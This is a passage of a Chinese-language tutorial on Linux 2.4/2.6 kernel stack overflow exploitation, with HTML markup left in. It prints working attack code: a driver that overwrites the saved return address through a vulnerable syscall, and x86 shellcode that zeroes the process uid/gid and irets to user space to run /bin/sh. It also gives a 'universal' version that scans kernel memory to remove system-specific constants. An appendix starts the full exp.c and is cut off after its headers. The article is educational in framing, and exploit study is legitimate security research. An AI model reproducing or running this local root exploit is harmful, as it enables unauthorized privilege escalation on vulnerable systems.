&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
execve("/bin/sh",p,NULL);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit(0);<br>
}<br>
//==============================================================<br>
//==============================================================<br>
<br>
<br>
<br>
<br>
<br>
<br>
int main(int argc,char **argv)<br>
{<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char code[1024];<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned int len;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int i;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; uid=getuid();<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; gid=getgid();<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
memset(code,NOP,1024);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(i=0;i&lt;5;i++)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
memcpy(code,&amp;load_highlevel,128);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; len = 256+8+4+4;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sleep(1);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("code addr
is:%p\n",&amp;load_highlevel);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *(int *)(code+256+8) =
(int)&amp;load_highlevel;//eip<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; new_call(len,code);<br>
<br>
}<br>
<br>
内核栈溢出和普通栈溢出的原理是一样的，就是覆盖内核函数的返回地址，从而改<br>
变运行的流程，在内核栈溢出里面，关键就是shellcode的功能，如何实现提升用户<br>
权限以及如何安全返回到用户空间。所以，我们把shellcode部分提取出来进行分析。<br>
__asm__<br>
(<br>
"load_highlevel:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
"mov&nbsp;&nbsp;&nbsp; $0xffffe000, %eax\n"<br>
"and&nbsp;&nbsp;&nbsp;
%esp,%eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \n"<br>
"pushl&nbsp;
%eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
"call&nbsp;&nbsp;
set_root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \n"<br>
"pop&nbsp;&nbsp;&nbsp;
%eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
//ret to userspace-2.6.* version<br>
"
cli&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
" pushl
$0x7b&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //DS user selector<br>
" pop&nbsp;&nbsp;
%ds&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
" pushl
%ds&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //SS<br>
" pushl $0xc0000000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //ESP<br>
" pushl
$0x246&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //EFLAGS<br>
" pushl
$0x73&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //CS user selector<br>
" pushl
$sc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //EIP must not be a push /bin/sh
shellcode!!<br>
"iret&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
);<br>
上面的shellcode首先进行的是权限的提升，把进程信息里面的uid,euid和gid,egid修改为<br>
root权限。2.6内核下面，进程信息的指针是在内核栈-8192的位置的（2.4内核下是整个<br>
进程信息放置在该位置），所以通过"mov&nbsp;&nbsp;&nbsp; $0xffffe000, %eax\n"
"and&nbsp;&nbsp;&nbsp;
%esp,%eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \n"<br>
就能找到进程信息指针的值，从内核代码我们也能看出来：<br>
028 struct thread_info {<br>
029&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct
task_struct&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
*task;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*
main task structure */《－－我们要获得的值<br>
030&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct
exec_domain&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *exec_domain;&nbsp;&nbsp;
/* execution domain */<br>
031&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned
long&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
flags;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* low
level flags */<br>
032&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned
long&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
status;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*
thread-synchronous flags */<br>
033&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
__u32&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
cpu;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
/* current CPU */<br>
034&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
preempt_count;&nbsp; /* 0 =&gt; preemptable, &lt;0 =&gt; BUG */<br>
035<br>
036<br>
037&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
mm_segment_t&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
addr_limit;&nbsp;&nbsp;&nbsp;&nbsp; /* thread address space:<br>
038&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0-0xBFFFFFFF for user-thead<br>
039&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0-0xFFFFFFFF for kernel-thread<br>
040&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
*/<br>
041&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct
restart_block&nbsp;&nbsp;&nbsp; restart_block;<br>
042<br>
043&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned
long&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
previous_esp;&nbsp;&nbsp; /* ESP of the previous stack in case<br>
044&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
of nested (IRQ) stacks<br>
045&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
*/<br>
046&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
__u8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
supervisor_stack[0];<br>
047 };<br>
获得进程信息的指针以后，就可以通过搜索里面的uid,euid,gid,egid，并修改为0，从而提升<br>
到root权限。set_root实现的就是搜索修改功能。完成权限提升以后，就要实现安全返回到用户<br>
空间，并获得shell。下面的汇编代码实现此功能：<br>
"
cli&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
" pushl
$0x7b&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //DS user selector<br>
" pop&nbsp;&nbsp;
%ds&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
" pushl
%ds&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //SS<br>
" pushl $0xc0000000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //ESP<br>
" pushl
$0x246&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //EFLAGS<br>
" pushl
$0x73&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //CS user selector<br>
" pushl
$sc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //EIP ，shell函数的地址<br>
"iret&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
<br>
三、shellcode扩展<br>
&nbsp;&nbsp;&nbsp;
从前面的shellcode分析我们可以知道此shellcode有多个值是不定值，和系统是相关的，第一个<br>
是内核栈的大小，不同的系统下面，内核栈的大小不一定相同，就会影响到$0xffffe000这个值，<br>
一般系统内核栈大小是8k，就使用$0xffffe000，有些系统下面，内核栈大小是4kb,就是要使用0xfffff000。<br>
第二个不定值是用户DS和用户CS的值，不同的内核版本下面，使用的值不相同。第三个不定值是用户<br>
空间大小，不同的系统下面，内存大小会影响到该值，一般的系统是0xc0000000,但是在高内存(&gt;896MB)<br>
的系统下面，此值就变了。<br>
<br>
&nbsp;&nbsp;&nbsp; 1)模式<br>
&nbsp;&nbsp;&nbsp; 为了写出通用的shellcode，我们首先要确定我们的shellcode模式。<br>
&nbsp;&nbsp;&nbsp; 我们的模式：权限提升－》安全返回－》执行shell
在此模式里面，我们要消除不定值，从而实现通用。<br>
<br>
&nbsp;&nbsp;&nbsp; 2)通用思路<br>
&nbsp;&nbsp;&nbsp; 模式确定后，我们的目标就明确了，消除所有的不定值。<br>
&nbsp;&nbsp;&nbsp; &nbsp;a)消除内核栈大小差异<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
为了消除内核栈的差异，我们要想办法在内核空间里面搜索到这个值。经过一番研究后，我们把目标<br>
&nbsp;&nbsp;&nbsp;
确定在了system_call的实现里面，首先，我们来看看system_call的汇编代码：<br>
&nbsp;&nbsp;&nbsp; 0xc0102e58
&lt;system_call+0&gt;:&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;
%eax<br>
&nbsp;&nbsp;&nbsp; 0xc0102e59
&lt;system_call+1&gt;:&nbsp;&nbsp;&nbsp;&nbsp;
cld&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp; 0xc0102e5a
&lt;system_call+2&gt;:&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;
%es<br>
&nbsp;&nbsp;&nbsp; 0xc0102e5b
&lt;system_call+3&gt;:&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;
%ds<br>
&nbsp;&nbsp;&nbsp; 0xc0102e5c
&lt;system_call+4&gt;:&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;
%eax<br>
&nbsp;&nbsp;&nbsp; 0xc0102e5d
&lt;system_call+5&gt;:&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;
%ebp<br>
&nbsp;&nbsp;&nbsp; 0xc0102e5e
&lt;system_call+6&gt;:&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;
%edi<br>
&nbsp;&nbsp;&nbsp; 0xc0102e5f
&lt;system_call+7&gt;:&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;
%esi<br>
&nbsp;&nbsp;&nbsp; 0xc0102e60
&lt;system_call+8&gt;:&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;
%edx<br>
&nbsp;&nbsp;&nbsp; 0xc0102e61
&lt;system_call+9&gt;:&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;
%ecx<br>
&nbsp;&nbsp;&nbsp; 0xc0102e62
&lt;system_call+10&gt;:&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; %ebx<br>
&nbsp;&nbsp;&nbsp; 0xc0102e63
&lt;system_call+11&gt;:&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;
$0x7b,%edx<br>
&nbsp;&nbsp;&nbsp; 0xc0102e68
&lt;system_call+16&gt;:&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;
%edx,%ds<br>
&nbsp;&nbsp;&nbsp; 0xc0102e6a
&lt;system_call+18&gt;:&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;
%edx,%es<br>
&nbsp;&nbsp;&nbsp; 0xc0102e6c
&lt;system_call+20&gt;:&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;
$0xffffe000,%ebp 《－－我们的目标<br>
&nbsp;&nbsp;&nbsp; 0xc0102e71
&lt;system_call+25&gt;:&nbsp;&nbsp;&nbsp; and&nbsp;&nbsp;&nbsp;
%esp,%ebp<br>
&nbsp;&nbsp;&nbsp; 0xc0102e73
&lt;system_call+27&gt;:&nbsp;&nbsp;&nbsp; testw&nbsp;
$0x1c1,0x8(%ebp)<br>
&nbsp;&nbsp;&nbsp; 0xc0102e79
&lt;system_call+33&gt;:&nbsp;&nbsp;&nbsp; jne&nbsp;&nbsp;&nbsp;
0xc0102f40 &lt;syscall_trace_entry&gt;<br>
&nbsp;&nbsp;&nbsp; 0xc0102e7f
&lt;system_call+39&gt;:&nbsp;&nbsp;&nbsp; cmp&nbsp;&nbsp;&nbsp;
$0x126,%eax<br>
&nbsp;&nbsp;&nbsp; 0xc0102e84
&lt;system_call+44&gt;:&nbsp;&nbsp;&nbsp; jae&nbsp;&nbsp;&nbsp;
0xc0102fb4 &lt;syscall_badsys&gt;<br>
&nbsp;&nbsp;&nbsp;
我们不难发现，system_call的实现里面有我们要的值0xffffe000，而且他的模式非常固定,前面是一个mov
xx,%edx，<br>
&nbsp;&nbsp;&nbsp; 接下两个movl&nbsp;&nbsp;&nbsp; 是固定的。<br>
&nbsp;&nbsp;&nbsp; 0xc0102e63
&lt;system_call+11&gt;:&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;
$0x7b,%edx<br>
&nbsp;&nbsp;&nbsp; 0xc0102e68
&lt;system_call+16&gt;:&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;
%edx,%ds<br>
&nbsp;&nbsp;&nbsp; 0xc0102e6a
&lt;system_call+18&gt;:&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;
%edx,%es<br>
&nbsp;&nbsp;&nbsp; 0xc0102e6c
&lt;system_call+20&gt;:&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;
$0xffffe000,%ebp<br>
&nbsp;&nbsp;&nbsp; 这样，我们就能通过搜索内核空间来确定第一个值了。<br>
&nbsp;&nbsp;&nbsp; 搜索代码如下：<br>
"movl $task_size,%eax&nbsp; \n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
//task_size=kernel space start<br>
"mov
(%eax),%eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
//find correct stack bottom in kernel space<br>
"l00p: \n"<br>
"add $0x1,%eax \n"<br>
"mov (%eax),%ebx \n"<br>
"and $0xffff00ff,%ebx\n"<br>
"cmp $0x000000ba,%ebx \n"<br>
"jne l00p\n"<br>
"add $0x4,%eax\n"<br>
"movl (%eax),%edx\n"<br>
"cmpl $0x8eda8e00,%edx\n"<br>
"jne l00p\n"<br>
"add $0x6,%eax\n"<br>
"mov (%eax),%ebx\n"<br>
"test $0xffff0000,%ebx\n"<br>
"jz l00p\n"<br>
"test $0x00000fff,%ebx\n"<br>
"jnz l00p\n"<br>
"mov&nbsp;&nbsp;&nbsp; (%eax), %eax\n" //stack bottom 0xffffe000
etc.<br>
"and&nbsp;&nbsp;&nbsp;
%esp,%eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \n"<br>
我们可以发现，在此段搜索代码里面，我们又引人了一个新的不定值，$task_size，这个值我们也能通过计算获得<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned val;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; task_size =
((unsigned)&amp;val + 1 GB ) / (1 GB) * 1 GB;<br>
这样，我们就消除了第一个差异<br>
&nbsp;&nbsp;&nbsp; &nbsp;b)消除用户DS,CS差异<br>
&nbsp;&nbsp;&nbsp; 接着，我们要消除用户DS和CS的差异，我们通过在用户空间直接获取ds和cs的值<br>
int myget_ds()<br>
{<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; __asm__("movl
%ds,%eax\n");<br>
}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
&nbsp;user_ds=myget_ds();<br>
<br>
然后<br>
" movl
$user_ds,%eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //DS user selector<br>
"pushl (%eax)\n"<br>
这样就动态的获取了用户DS的值<br>
&nbsp;&nbsp;&nbsp; &nbsp;c)消除用户空间差异<br>
&nbsp;&nbsp;&nbsp; 不断向栈底方向取值，越过栈底的地址访问会导致SIGSEGV
信号，然后利用长跳转回到主流程报告当前值，<br>
自然对应栈底。<br>
&nbsp;&nbsp;&nbsp; 3)通用实现<br>
&nbsp;&nbsp;&nbsp;
现在，我们已经消除了全部的不定值，完全可以实现一个通用的shellcode了。下面这段shellcode在2.4和2.6内核<br>
下测试通过，完全通用。<br>
//===================[ kernel 2.6* privilege elevator
]===============================<br>
//globals<br>
int uid, gid;<br>
unsigned task_size;<br>
unsigned stack_bottom;<br>
unsigned user_cs,user_ds;<br>
extern load_highlevel;<br>
__asm__<br>
(<br>
"load_highlevel:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
"movl $task_size,%eax&nbsp; \n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
//task_size=kernel space start<br>
"mov
(%eax),%eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
//find correct stack bottom in kernel space<br>
"l00p: \n"<br>
"add $0x1,%eax \n"<br>
"mov (%eax),%ebx \n"<br>
"and $0xffff00ff,%ebx\n"<br>
"cmp $0x000000ba,%ebx \n"<br>
"jne l00p\n"<br>
"add $0x4,%eax\n"<br>
"movl (%eax),%edx\n"<br>
"cmpl $0x8eda8e00,%edx\n"<br>
"jne l00p\n"<br>
"add $0x6,%eax\n"<br>
"mov (%eax),%ebx\n"<br>
"test $0xffff0000,%ebx\n"<br>
"jz l00p\n"<br>
"test $0x00000fff,%ebx\n"<br>
"jnz l00p\n"<br>
"mov&nbsp;&nbsp;&nbsp; (%eax), %eax\n" //stack bottom 0xffffe000
etc.<br>
"and&nbsp;&nbsp;&nbsp;
%esp,%eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \n"<br>
"pushl&nbsp;
%eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
"call&nbsp;&nbsp;
set_root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \n"<br>
"pop&nbsp;&nbsp;&nbsp;
%eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
//ret to userspace-2.6.* version<br>
<br>
"
cli&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
" movl
$user_ds,%eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //DS user selector<br>
"pushl (%eax)\n"<br>
" pop&nbsp;&nbsp;
%ds&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
" pushl
%ds&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //SS<br>
" movl $stack_bottom,%eax&nbsp; \n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
//ESP<br>
"pushl
(%eax)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
" pushl
$0x246&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //EFLAGS<br>
"movl
$user_cs,%eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //DS user selector<br>
"pushl (%eax)\n"<br>
" pushl
$sc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //EIP must not be a push /bin/sh
shellcode!!<br>
"iret&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
);<br>
//========================================================================<br>
<br>
四、参考资源<br>
&nbsp;&nbsp;&nbsp; 1)http://www.milw0rm.com/exploits/926<br>
&nbsp;&nbsp;&nbsp;
2)http://fanqiang.chinaunix.net/program/c++/2002-10-18/2372.shtml<br>
&nbsp;&nbsp;&nbsp;
3)http://www.isec.pl/papers/linux_kernel_do_brk.pdf<br>
&nbsp;&nbsp;&nbsp;
4)http://www.xfocus.net/projects/Xcon/2002/Xcon2002_alert7_e4gle.pdf<br>
<br>
五、附录<br>
&nbsp;&nbsp;&nbsp; 1)exp.c<br>
&nbsp;&nbsp;&nbsp; 完整的exp代码<br>
/* exp.c<br>
*/<br>
#include &lt;sys/types.h&gt;<br>
#include &lt;sys/stat.h&gt;<br>
#include &lt;fcntl.h&gt;<br>
#include &lt;sys/mman.h&gt;<br>
#include &lt;unistd.h&gt;<br>
#include &lt;linux/unistd.h&gt;<br>
#include &lt;linux/sysctl.h&gt;<br>
#include &lt;stdio.h&gt;<br>
#include &lt;stdlib.h&gt;<br>
#include &lt;signal.h&gt;<br>
#include &lt;setjmp.h&gt;<br>
<br>
#define kB * 1024<br>
#define MB * 1024 kB<br>
#define GB * 1024 MB<br>
<br>
